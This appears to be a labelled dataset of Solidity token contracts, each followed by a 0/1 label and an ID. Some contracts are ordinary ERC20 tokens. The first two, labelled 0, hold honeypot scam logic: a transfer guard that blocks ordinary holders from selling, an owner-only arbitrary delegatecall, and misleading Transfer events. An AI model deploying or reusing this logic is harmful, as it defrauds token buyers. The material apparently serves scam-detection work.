mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,054
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract StandardToken { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
2,317
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 8; uint8 public constant TOKEN_DECIMALS_UINT8 = 8; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "NITTO"; string public constant TOKEN_SYMBOL = "NIT"; bool public constant PAUSED = false; address public constant TARGET_USER = 0xb3938B5A09386a941C52E70C9B575C7b236805b7; uint public constant START_TIME = 1557153840; bool public constant CONTINUE_MINTING = false; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } }
1
4,272
pragma solidity ^0.4.24; contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract CovaToken is ERC20 { using SafeMath for uint256; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; uint256 private totalSupply_ = 65 * (10 ** (8 + 18)); string private constant name_ = 'Covalent Token'; string private constant symbol_ = 'COVA'; uint8 private constant decimals_ = 18; constructor () public { balances[msg.sender] = totalSupply_; emit Transfer(address(0), msg.sender, totalSupply_); } function totalSupply() public view returns (uint256) { return totalSupply_; } function name() public view returns (string) { return name_; } function symbol() public view returns (string) { return symbol_; } function decimals() public view returns (uint8) { return decimals_; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
1
2,642
pragma solidity ^0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } function getCap() external returns(uint256 capToken) { capToken = cap; } function mint( address _to, uint256 _amount ) public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } contract FlareToken is CappedToken { string public constant version="1.0.0 beta"; string public constant name = "Flare Coins Test"; string public constant symbol = "FLAR Test"; uint8 public constant decimals = 18; uint256 public closingTime; constructor(uint256 _closingTime) public CappedToken(uint256(1500000000 * uint256(10 ** uint256(decimals)))) { require(block.timestamp < _closingTime); closingTime = _closingTime; } function mint( address _to, uint256 _amount ) public returns (bool) { require(block.timestamp < closingTime); return super.mint(_to, _amount); } function changeClosingTime(uint256 _closingTime) public onlyOwner { require(block.timestamp < _closingTime); closingTime = _closingTime; } function transferFrom(address _from,address _to,uint256 _value) public returns (bool) { require(block.timestamp >= closingTime); return super.transferFrom(_from,_to,_value); } function transfer(address _to, uint256 _value) public returns (bool) { require(block.timestamp >= closingTime); return super.transfer(_to, _value); } }
1
4,048
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; 